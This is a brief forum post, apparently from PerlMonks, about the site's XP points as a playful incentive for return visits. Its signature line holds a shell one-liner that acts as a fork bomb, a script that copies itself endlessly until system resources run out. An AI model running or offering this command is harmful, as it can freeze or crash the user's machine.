I suggest that it encourages people to visit the site.

"Hm, I wonder what's up on PerlMonks? It's been ages since I was there... hey! I got more XP! I think I'll come back again tomorrow."

Sure, maybe it's cheap, but I bet it works ;-)

XP is really just "for fun" or, at most, a measure of what other people think of you. So don't take it for more than that.

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;